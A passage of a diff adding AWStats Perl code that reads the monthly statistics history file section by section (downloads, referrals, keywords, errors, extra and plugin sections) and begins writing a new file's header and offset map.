!scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_DOWNLOADS + if ( $field[0] eq 'BEGIN_DOWNLOADS' ) { + if ($Debug) { + debug(" Begin of DOWNLOADS section"); + } + $field[0] = ''; + my $count = 0; + my $counttoload = int($field[1]); + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'downloads'}) { + $countloaded++; + $_downloads{$field[0]}->{'AWSTATS_HITS'} += int( $field[1] ); + $_downloads{$field[0]}->{'AWSTATS_206'} += int( $field[2] ); + $_downloads{$field[0]}->{'AWSTATS_SIZE'} += int( $field[3] ); + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_DOWNLOADS' + || $field[0] eq "${xmleb}END_DOWNLOADS" + || !$_ ); + if ( $field[0] ne 'END_DOWNLOADS' + && $field[0] ne "${xmleb}END_DOWNLOADS" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section DOWNLOADS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of DOWNLOADS section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'downloads'}; + if ( $SectionsToSave{'downloads'} ) { + Save_History( 'downloads', + $year, $month, $date ); + delete $SectionsToSave{'downloads'}; + if ($withpurge) { %_downloads = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_SEREFERRALS + if ( $field[0] eq 'BEGIN_SEREFERRALS' ) { + if ($Debug) { debug(" Begin of SEREFERRALS section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'sereferrals'} ) { + $countloaded++; + if ( $versionnum < 5004 ) + { # For history files < 5.4 + my $se = $field[0]; + $se =~ s/\./\\./g; + if ( $SearchEnginesHashID{$se} ) { + $_se_referrals_h{ $SearchEnginesHashID{$se} + } += $field[1] + || 0; + } + else { + $_se_referrals_h{ $field[0] } += $field[1] + || 0; + } + } + elsif ( $versionnum < 5091 ) + { # For history files < 5.91 + my $se = $field[0]; + $se =~ s/\./\\./g; + if ( $SearchEnginesHashID{$se} ) { + $_se_referrals_p{ $SearchEnginesHashID{$se} + } += $field[1] + || 0; + $_se_referrals_h{ $SearchEnginesHashID{$se} + } += $field[2] + || 0; + } + else { + $_se_referrals_p{ $field[0] } += $field[1] + || 0; + $_se_referrals_h{ $field[0] } += $field[2] + || 0; + } + } + else { + if ( $field[1] ) { + $_se_referrals_p{ $field[0] } += $field[1]; + } + if ( $field[2] ) { + $_se_referrals_h{ $field[0] } += $field[2]; + } + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_SEREFERRALS' + || $field[0] eq "${xmleb}END_SEREFERRALS" + || !$_ ); + if ( $field[0] ne 'END_SEREFERRALS' + && $field[0] ne "${xmleb}END_SEREFERRALS" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of SEREFERRALS section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'sereferrals'}; + if ( $SectionsToSave{'sereferrals'} ) { + Save_History( 'sereferrals', $year, $month, $date ); + delete $SectionsToSave{'sereferrals'}; + if ($withpurge) { + %_se_referrals_p = (); + %_se_referrals_h = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_PAGEREFS + if ( $field[0] eq 'BEGIN_PAGEREFS' ) { + if ($Debug) { debug(" Begin of PAGEREFS section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'pagerefs'} ) { + my $loadrecord = 0; + if ($withupdate) { + $loadrecord = 1; + } + else { + if ( + ( + !$FilterIn{'refererpages'} + || $field[0] =~ + /$FilterIn{'refererpages'}/ + ) + && ( !$FilterEx{'refererpages'} + || $field[0] !~ + /$FilterEx{'refererpages'}/ ) + ) + { + $loadrecord = 1; + } + } + if ($loadrecord) { + if ( $versionnum < 5004 ) + { # For history files < 5.4 + if ( $field[1] ) { + $_pagesrefs_h{ $field[0] } += + int( $field[1] ); + } + } + else { + if ( $field[1] ) { + $_pagesrefs_p{ $field[0] } += + int( $field[1] ); + } + if ( $field[2] ) { + $_pagesrefs_h{ $field[0] } += + int( $field[2] ); + } + } + $countloaded++; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_PAGEREFS' + || $field[0] eq "${xmleb}END_PAGEREFS" + || !$_ ); + if ( $field[0] ne 'END_PAGEREFS' + && $field[0] ne "${xmleb}END_PAGEREFS" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of PAGEREFS section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'pagerefs'}; + if ( $SectionsToSave{'pagerefs'} ) { + Save_History( 'pagerefs', $year, $month, $date ); + delete $SectionsToSave{'pagerefs'}; + if ($withpurge) { %_pagesrefs_p = (); %_pagesrefs_h = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_SEARCHWORDS + if ( $field[0] eq 'BEGIN_SEARCHWORDS' ) { + if ($Debug) { + debug( +" Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})" + ); + } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'searchwords'} ) { + my $loadrecord = 0; + if ($withupdate) { + $loadrecord = 1; + } + else { + if ( $HTMLOutput{'main'} ) { + if ( $MonthRequired eq 'all' ) { + $loadrecord = 1; + } + else { + if ( $countloaded < + $MaxNbOf{'KeyphrasesShown'} + && $field[1] >= + $MinHit{'Keyphrase'} ) + { + $loadrecord = 1; + } + $TotalDifferentKeyphrases++; + $TotalKeyphrases += ( $field[1] || 0 ); + } + } + elsif ( $HTMLOutput{'keyphrases'} ) + { # Load keyphrases for keyphrases chart + if ( $MonthRequired eq 'all' ) { + $loadrecord = 1; + } + else { + if ( $field[1] >= $MinHit{'Keyphrase'} ) + { + $loadrecord = 1; + } + $TotalDifferentKeyphrases++; + $TotalKeyphrases += ( $field[1] || 0 ); + } + } + if ( $HTMLOutput{'keywords'} ) + { # Load keyphrases for keywords chart + $loadrecord = 2; + } + } + if ($loadrecord) { + if ( $field[1] ) { + if ( $loadrecord == 2 ) { + foreach ( split( /\+/, $field[0] ) ) + { # field[0] is "val1+val2+..." + $_keywords{$_} += $field[1]; + } + } + else { + $_keyphrases{ $field[0] } += $field[1]; + } + } + $countloaded++; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_SEARCHWORDS' + || $field[0] eq "${xmleb}END_SEARCHWORDS" + || !$_ ); + if ( $field[0] ne 'END_SEARCHWORDS' + && $field[0] ne "${xmleb}END_SEARCHWORDS" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of SEARCHWORDS section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'searchwords'}; + if ( $SectionsToSave{'searchwords'} ) { + Save_History( 'searchwords', $year, $month, $date ); + delete $SectionsToSave{ 'searchwords' + }; # This save searwords and keywords sections + if ($withpurge) { %_keyphrases = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_KEYWORDS + if ( $field[0] eq 'BEGIN_KEYWORDS' ) { + if ($Debug) { + debug( +" Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})" + ); + } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'keywords'} ) { + my $loadrecord = 0; + if ( $MonthRequired eq 'all' ) { $loadrecord = 1; } + else { + if ( $countloaded < $MaxNbOf{'KeywordsShown'} + && $field[1] >= $MinHit{'Keyword'} ) + { + $loadrecord = 1; + } + $TotalDifferentKeywords++; + $TotalKeywords += ( $field[1] || 0 ); + } + if ($loadrecord) { + if ( $field[1] ) { + $_keywords{ $field[0] } += $field[1]; + } + $countloaded++; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_KEYWORDS' + || $field[0] eq "${xmleb}END_KEYWORDS" + || !$_ ); + if ( $field[0] ne 'END_KEYWORDS' + && $field[0] ne "${xmleb}END_KEYWORDS" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of KEYWORDS section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'keywords'}; + if ( $SectionsToSave{'keywords'} ) { + Save_History( 'keywords', $year, $month, $date ); + delete $SectionsToSave{'keywords'}; + if ($withpurge) { %_keywords = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_ERRORS + if ( $field[0] eq 'BEGIN_ERRORS' ) { + if ($Debug) { debug(" Begin of ERRORS section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'errors'} ) { + $countloaded++; + if ( $field[1] ) { + $_errors_h{ $field[0] } += $field[1]; + } + if ( $field[2] ) { + $_errors_k{ $field[0] } += $field[2]; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_ERRORS' + || $field[0] eq "${xmleb}END_ERRORS" + || !$_ ); + if ( $field[0] ne 'END_ERRORS' + && $field[0] ne "${xmleb}END_ERRORS" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of ERRORS section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'errors'}; + if ( $SectionsToSave{'errors'} ) { + Save_History( 'errors', $year, $month, $date ); + delete $SectionsToSave{'errors'}; + if ($withpurge) { %_errors_h = (); %_errors_k = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_SIDER_xxx + foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { + if ( $field[0] eq "BEGIN_SIDER_$code" ) { + if ($Debug) { debug(" Begin of SIDER_$code section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{"sider_$code"} ) { + $countloaded++; + if ( $field[1] ) { + $_sider404_h{ $field[0] } += $field[1]; + } + if ( $withupdate || $HTMLOutput{"errors$code"} ) + { + if ( $field[2] ) { + $_referer404_h{ $field[0] } = $field[2]; + } + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = split( + /\s+/, + ( + $readxml + ? XMLDecodeFromHisto($_) + : $_ + ) + ); + $countlines++; + } until ( $field[0] eq "END_SIDER_$code" + || $field[0] eq "${xmleb}END_SIDER_$code" + || !$_ ); + if ( $field[0] ne "END_SIDER_$code" + && $field[0] ne "${xmleb}END_SIDER_$code" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of SIDER_$code section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{"sider_$code"}; + if ( $SectionsToSave{"sider_$code"} ) { + Save_History( "sider_$code", $year, $month, $date ); + delete $SectionsToSave{"sider_$code"}; + if ($withpurge) { + %_sider404_h = (); + %_referer404_h = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + } + + # BEGIN_EXTRA_xxx + foreach my $extranum ( 1 .. @ExtraName - 1 ) { + if ( $field[0] eq "BEGIN_EXTRA_$extranum" ) { + if ($Debug) { debug(" Begin of EXTRA_$extranum"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ne '' ) { + $count++; + if ( $SectionsToLoad{"extra_$extranum"} ) { + if ( $ExtraStatTypes[$extranum] =~ /P/i + && $field[1] ) + { + ${ '_section_' . $extranum . '_p' } + { $field[0] } += $field[1]; + } + ${ '_section_' . $extranum . '_h' } + { $field[0] } += $field[2]; + if ( $ExtraStatTypes[$extranum] =~ /B/i + && $field[3] ) + { + ${ '_section_' . $extranum . '_k' } + { $field[0] } += $field[3]; + } + if ( $ExtraStatTypes[$extranum] =~ /L/i + && !${ '_section_' . $extranum . '_l' } + { $field[0] } + && $field[4] ) + { + ${ '_section_' . $extranum . '_l' } + { $field[0] } = int( $field[4] ); + } + $countloaded++; + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = split( + /\s+/, + ( + $readxml + ? XMLDecodeFromHisto($_) + : $_ + ) + ); + $countlines++; + } until ( $field[0] eq "END_EXTRA_$extranum" + || $field[0] eq "${xmleb}END_EXTRA_$extranum" + || !$_ ); + if ( $field[0] ne "END_EXTRA_$extranum" + && $field[0] ne "${xmleb}END_EXTRA_$extranum" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of EXTRA_$extranum section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{"extra_$extranum"}; + if ( $SectionsToSave{"extra_$extranum"} ) { + Save_History( "extra_$extranum", $year, $month, $date ); + delete $SectionsToSave{"extra_$extranum"}; + if ($withpurge) { + %{ '_section_' . $extranum . '_p' } = (); + %{ '_section_' . $extranum . '_h' } = (); + %{ '_section_' . $extranum . '_b' } = (); + %{ '_section_' . $extranum . '_l' } = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + } + + # BEGIN_PLUGINS + if ( $AtLeastOneSectionPlugin + && $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i ) + { + my $pluginname = $1; + my $found = 0; + foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { + if ( $pluginname eq $_ ) { + + # The plugin for this section was loaded + $found = 1; + my $issectiontoload = + $SectionsToLoad{"plugin_$pluginname"}; + +# my $function="SectionReadHistory_$pluginname(\$issectiontoload,\$readxml,\$xmleb,\$countlines)"; +# eval("$function"); + my $function = "SectionReadHistory_$pluginname"; + &$function( $issectiontoload, $readxml, $xmleb, + $countlines ); + delete $SectionsToLoad{"plugin_$pluginname"}; + if ( $SectionsToSave{"plugin_$pluginname"} ) { + Save_History( "plugin_$pluginname", + $year, $month, $date ); + delete $SectionsToSave{"plugin_$pluginname"}; + if ($withpurge) { + +# my $function="SectionInitHashArray_$pluginname()"; +# eval("$function"); + my $function = + "SectionInitHashArray_$pluginname"; + &$function(); + } + } + last; + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + + # The plugin for this section was not loaded + if ( !$found ) { + do { + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = split( + /\s+/, + ( + $readxml + ? XMLDecodeFromHisto($_) + : $_ + ) + ); + $countlines++; + } until ( $field[0] eq "END_PLUGIN_$pluginname" + || $field[0] eq "${xmleb}END_PLUGIN_$pluginname" + || !$_ ); + } + next; + } + +# For backward compatibility (ORIGIN section was "HitFromx" in old history files) + if ( $SectionsToLoad{'origin'} ) { + if ( $field[0] eq 'HitFrom0' ) { + $_from_p[0] += 0; + $_from_h[0] += $field[1]; + next; + } + if ( $field[0] eq 'HitFrom1' ) { + $_from_p[1] += 0; + $_from_h[1] += $field[1]; + next; + } + if ( $field[0] eq 'HitFrom2' ) { + $_from_p[2] += 0; + $_from_h[2] += $field[1]; + next; + } + if ( $field[0] eq 'HitFrom3' ) { + $_from_p[3] += 0; + $_from_h[3] += $field[1]; + next; + } + if ( $field[0] eq 'HitFrom4' ) { + $_from_p[4] += 0; + $_from_h[4] += $field[1]; + next; + } + if ( $field[0] eq 'HitFrom5' ) { + $_from_p[5] += 0; + $_from_h[5] += $field[1]; + next; + } + } + } + } + + if ($withupdate) { + +# Process rest of data saved in 'wait' arrays (data for hosts that are not in history file or no history file found) +# This can change some values for day, sider and session sections + if ($Debug) { debug( " Processing data in 'wait' arrays", 3 ); } + foreach ( keys %_waithost_e ) { + if ($Debug) { + debug( " Visit in 'wait' array for $_ is a new visit", 4 ); + } + my $newtimehosts = + ( $_waithost_s{$_} ? $_waithost_s{$_} : $_host_s{$_} ); + my $newtimehostl = + ( $_waithost_l{$_} ? $_waithost_l{$_} : $_host_l{$_} ); + $_url_e{ $_waithost_e{$_} }++; + $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/; + $DayVisits{$1}++; + if ( $_waithost_s{$_} ) { + + # There was also a second session in processed log + $_session{ GetSessionRange( $newtimehosts, $newtimehostl ) }++; + } + } + } + +# Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...) + if ($Debug) { + debug( + " Check and write all unwrote sections: " + . join( ',', keys %SectionsToSave ), + 2 + ); + } + foreach my $key ( + sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} } + keys %SectionsToSave + ) + { + Save_History( "$key", $year, $month, $date, $lastlinenb, + $lastlineoffset, $lastlinechecksum ); + } + %SectionsToSave = (); + +# Update offset in map section and last data in general section then close files + if ($withupdate) { + if ($xml) { print HISTORYTMP "\n\n</xml>\n"; } + + # Update offset of sections in the MAP section + foreach ( sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile ) + { + if ($Debug) { + debug( +" Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}" + ); + } + if ( $PosInFile{"$_"} ) { + seek( HISTORYTMP, $PosInFile{"$_"}, 0 ); + print HISTORYTMP $ValueInFile{"$_"}; + } + } + + # Save last data in general sections + if ($Debug) { + debug( +" Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}" + ); + } + seek( HISTORYTMP, $PosInFile{"TotalVisits"}, 0 ); + print HISTORYTMP $MonthVisits{ $year . $month }; + if ($Debug) { + debug( +" Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}" + ); + } + seek( HISTORYTMP, $PosInFile{"TotalUnique"}, 0 ); + print HISTORYTMP $MonthUnique{ $year . $month }; + if ($Debug) { + debug( +" Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}" + ); + } + seek( HISTORYTMP, $PosInFile{"MonthHostsKnown"}, 0 ); + print HISTORYTMP $MonthHostsKnown{ $year . $month }; + if ($Debug) { + debug( +" Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}" + ); + } + seek( HISTORYTMP, $PosInFile{"MonthHostsUnknown"}, 0 ); + print HISTORYTMP $MonthHostsUnknown{ $year . $month }; + close(HISTORYTMP) || error("Failed to write temporary history file"); + } + if ($withread) { + close(HISTORY) || error("Command for pipe '$filetoread' failed"); + } + + # Purge data + if ($withpurge) { &Init_HashArray(); } + + # If update, rename tmp file bis into tmp file or set HistoryAlreadyFlushed + if ($withupdate) { + if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} ) { + debug( + "Rename tmp history file bis '$filetoread' to '$filetowrite'"); + if ( rename( $filetowrite, $filetoread ) == 0 ) { + error("Failed to update tmp history file $filetoread"); + } + } + else { + $HistoryAlreadyFlushed{"$year$month$day$hour"} = 1; + } + + if ( !$ListOfYears{"$year"} || $ListOfYears{"$year"} lt "$month" ) { + $ListOfYears{"$year"} = "$month"; + } + } + + # For backward compatibility, if LastLine does not exist, set to LastTime + $LastLine ||= $LastTime{$date}; + + return ( $withupdate ? "$filetowrite" : "" ); +} + +#------------------------------------------------------------------------------ +# Function: Save a part of history file +# Parameters: sectiontosave,year,month,breakdate[,lastlinenb,lastlineoffset,lastlinechecksum] +# Input: $VERSION HISTORYTMP $nowyear $nowmonth $nowday $nowhour $nowmin $nowsec $LastLineNumber $LastLineOffset $LastLineChecksum +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub Save_History { + my $sectiontosave = shift || ''; + my $year = shift || ''; + my $month = shift || ''; + my $breakdate = shift || ''; + + my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 ); + my ( + $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe, + $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee + ) + = ( '', '', '', '', '', '', '', '', '', '', '' ); + if ($xml) { + ( + $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe, + $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee + ) + = ( + "</comment><nu>\n", '</nu><recnb>', + '</recnb><table>', '<tr><th>', + '</th><th>', '</th></tr>', + '<tr><td>', '</td><td>', + '</td></tr>', '</table><nu>', + "\n</nu></section>" + ); + } + else { $xmlbs = ' '; $xmlhs = ' '; $xmlrs = ' '; } + + my $lastlinenb = shift || 0; + my $lastlineoffset = shift || 0; + my $lastlinechecksum = shift || 0; + if ( !$lastlinenb ) { # This happens for migrate + $lastlinenb = $LastLineNumber; + $lastlineoffset = $LastLineOffset; + $lastlinechecksum = $LastLineChecksum; + } + + if ($Debug) { + debug( +" Save_History [sectiontosave=$sectiontosave,year=$year,month=$month,breakdate=$breakdate,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]", + 1 + ); + } + my $spacebar = " "; + my %keysinkeylist = (); + + # Header + if ( $sectiontosave eq 'header' ) { + if ($xml) { print HISTORYTMP "<version><lib>\n"; } + print HISTORYTMP "AWSTATS DATA FILE $VERSION\n"; + if ($xml) { print HISTORYTMP "</lib><comment>\n"; } + print HISTORYTMP +"# If you remove this file, all statistics for date $breakdate will be lost/reset.\n"; + print HISTORYTMP + "# Last config file used to build this data file was $FileConfig.\n"; + if ($xml) { print HISTORYTMP "</comment></version>\n"; } + print HISTORYTMP "\n"; + if ($xml) { + print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; + } + print HISTORYTMP +"# Position (offset in bytes) in this file for beginning of each section for\n"; + print HISTORYTMP +"# direct I/O access. If you made changes somewhere in this file, you should\n"; + print HISTORYTMP +"# also remove completely the MAP section (AWStats will rewrite it at next\n"; + print HISTORYTMP "# update).\n"; + print HISTORYTMP "${xmlbb}BEGIN_MAP${xmlbs}" + . ( 26 + ( scalar keys %TrapInfosForHTTPErrorCodes ) + + ( scalar @ExtraName ? scalar @ExtraName - 1 : 0 ) + + ( scalar keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) ) + . "${xmlbe}\n"; + print HISTORYTMP "${xmlrb}POS_GENERAL${xmlrs}"; + $PosInFile{"general"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + + # When + print HISTORYTMP "${xmlrb}POS_TIME${xmlrs}"; + $PosInFile{"time"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_VISITOR${xmlrs}"; + $PosInFile{"visitor"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_DAY${xmlrs}"; + $PosInFile{"day"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + + # Who + print HISTORYTMP "${xmlrb}POS_DOMAIN${xmlrs}"; + $PosInFile{"domain"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_LOGIN${xmlrs}"; + $PosInFile{"login"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_ROBOT${xmlrs}"; + $PosInFile{"robot"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_WORMS${xmlrs}"; + $PosInFile{"worms"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_EMAILSENDER${xmlrs}"; + $PosInFile{"emailsender"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_EMAILRECEIVER${xmlrs}"; + $PosInFile{"emailreceiver"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + + # Navigation + print HISTORYTMP "${xmlrb}POS_SESSION${xmlrs}"; + $PosInFile{"session"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_SIDER${xmlrs}"; + $PosInFile{"sider"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_FILETYPES${xmlrs}"; + $PosInFile{"filetypes"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_DOWNLOADS${xmlrs}"; + $PosInFile{'downloads'} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_OS${xmlrs}"; + $PosInFile{"os"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_BROWSER${xmlrs}"; + $PosInFile{"browser"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_SCREENSIZE${xmlrs}"; + $PosInFile{"screensize"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERER${xmlrs}"; + $PosInFile{'unknownreferer'} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERERBROWSER${xmlrs}"; + $PosInFile{'unknownrefererbrowser'} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + + # Referers + print HISTORYTMP "${xmlrb}POS_ORIGIN${xmlrs}"; + $PosInFile{"origin"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_SEREFERRALS${xmlrs}"; + $PosInFile{"sereferrals"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_PAGEREFS${xmlrs}"; + $PosInFile{"pagerefs"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_SEARCHWORDS${xmlrs}"; + $PosInFile{"searchwords"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_KEYWORDS${xmlrs}"; + $PosInFile{"keywords"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + + # Others + print HISTORYTMP "${xmlrb}POS_MISC${xmlrs}"; + $PosInFile{"misc"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_ERRORS${xmlrs}"; + $PosInFile{"errors"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + print HISTORYTMP "${xmlrb}POS_CLUSTER${xmlrs}"; + $PosInFile{"cluster"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + + foreach ( keys %TrapInfosForHTTPErrorCodes ) { + print HISTORYTMP "${xmlrb}POS_SIDER_$_${xmlrs}"; + $PosInFile{"sider_$_"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + } + foreach ( 1 .. @ExtraName - 1 ) { + print HISTORYTMP "${xmlrb}POS_EXTRA_$_${xmlrs}"; + $PosInFile{"extra_$_"} = tell HISTORYTMP; + print HISTORYTMP "$spacebar${xmlre}\n"; + } + foreach ( 